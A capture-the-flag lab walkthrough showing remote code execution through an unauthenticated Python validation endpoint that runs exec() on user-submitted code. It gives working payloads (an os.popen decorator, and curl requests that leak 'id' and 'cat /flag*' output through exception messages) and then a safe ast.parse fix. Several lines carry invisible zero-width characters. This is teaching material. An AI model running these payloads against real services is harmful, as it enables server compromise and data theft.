Lab 351 — FlowForge — RCE via Python Code Validation Endpoint

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_endpoint_enumeration, decorator_execution_abuse, exception_based_exfiltration, python_code_injection

Summary

Walkthrough of the CUSTOM Web Lab 351 — FlowForge — RCE via Python Code Validation Endpoint. Task: AI workflow platform with Python code validation API endpoint that doesn't require authentication. Solution: Exploited unsafe exec() in validation endpoint using exception-based exfiltration to

Description

FlowForge is a visual AI workflow platform built by FlowForge AI. It lets teams design and deploy AI pipelines through a drag-and-drop interface, connecting LLM nodes, data connectors, and transformers into automated workflows.

The platform provides a REST API for managing workflows, validating custom components, and monitoring pipeline execution. The component registry accepts Python code submissions for validation and metadata extraction.

Your goal is to find and exploit a weakness in how the platform processes user-submitted code to retrieve the flag stored on the server.

Credentials provided: user@test.com / password123 Hint: The platform has an API endpoint that processes Python code. Check the API documentation page to find endpoints that don't require authentication. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: AI workflow platform with a REST API. The /api/v1/validate endpoint accepts Python code for validation without authentication. The goal is to exploit unsafe code processing to achieve RCE and read the flag.

Analysis

Initial Reconnaissance

After logging in with provided credentials, discovered navigation menu with link to /api/docs.

API Documentation Analysis

The API documentation at /api/docs revealed several endpoints:

The /api/v1/validate endpoint was the target - it accepts Python code for validation and metadata extraction, supposedly for CI/CD pipeline integration.

Vulnerability Discovery

Testing the validation endpoint confirmed it extracts function signatures, imports, and classes from submitted code. However, the implementation used compile() + exec() instead of safe static analysis with ast.parse().

Testing decorator-based execution revealed code was being executed:

 python read-only • copy allowed Copy
@__import__("os").popen("id").read()
def test(): pass

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"errors": [{"message": "'str' object is not callable", "type": "TypeError"}]}

The error message confirmed execution - the id command ran, returned a string, and failed when used as a decorator (strings aren't callable).

Solution

Step 1: Confirm RCE with Exception-Based Exfiltration

Used raise Exception() to exfiltrate command output through error messages:

 bash read-only • copy allowed Copy
curl -X POST "https://cccb9217-2c9a-4b3f-9377-155957e0a938.labs.hackadvisor.io/api/v1/validate" \
  -H "Content-Type: application/json" \
  -d '{"code": "raise Exception(__import__(\"os\").popen(\"id\").read())"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response confirmed root access:

 json read-only • copy allowed Copy
{
  "errors": [{"message": "uid=0(root) gid=0(root) groups=0(root)...", "type": "Exception"}],
  "valid": false
}

Step 2: Capture the Flag

 bash read-only • copy allowed Copy
curl -X POST "https://cccb9217-2c9a-4b3f-9377-155957e0a938.labs.hackadvisor.io/api/v1/validate" \
  -H "Content-Type: application/json" \
  -d '{"code": "raise Exception(__import__(\"os\").popen(\"cat /flag*\").read())"}'

Response:

 json read-only • copy allowed Copy
{
  "errors": [{"message": "FLAG{REDACTED}", "type": "Exception"}],
  "valid": false
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

The validation endpoint used compile() + exec() to extract code metadata instead of safe static analysis with ast.parse(). This allowed arbitrary Python code execution on the server.

Vulnerable pattern (conceptual):

 python read-only • copy allowed Copy
# VULNERABLE - executes the code
def validate_code(code):
    compiled = compile(code, '<string>', 'exec')
    exec(compiled)  # RCE!
    
# SAFE - only parses AST without execution
def validate_code_safe(code):
    tree = ast.parse(code)
    # Extract metadata from AST nodes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering api_endpoint_enumeration, decorator_execution_abuse, exception_based_exfiltration, python_code_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-26 • CUSTOM • Lab 351 — FlowForge — RCE via Python Code Validation Endpoint • Difficulty: Medium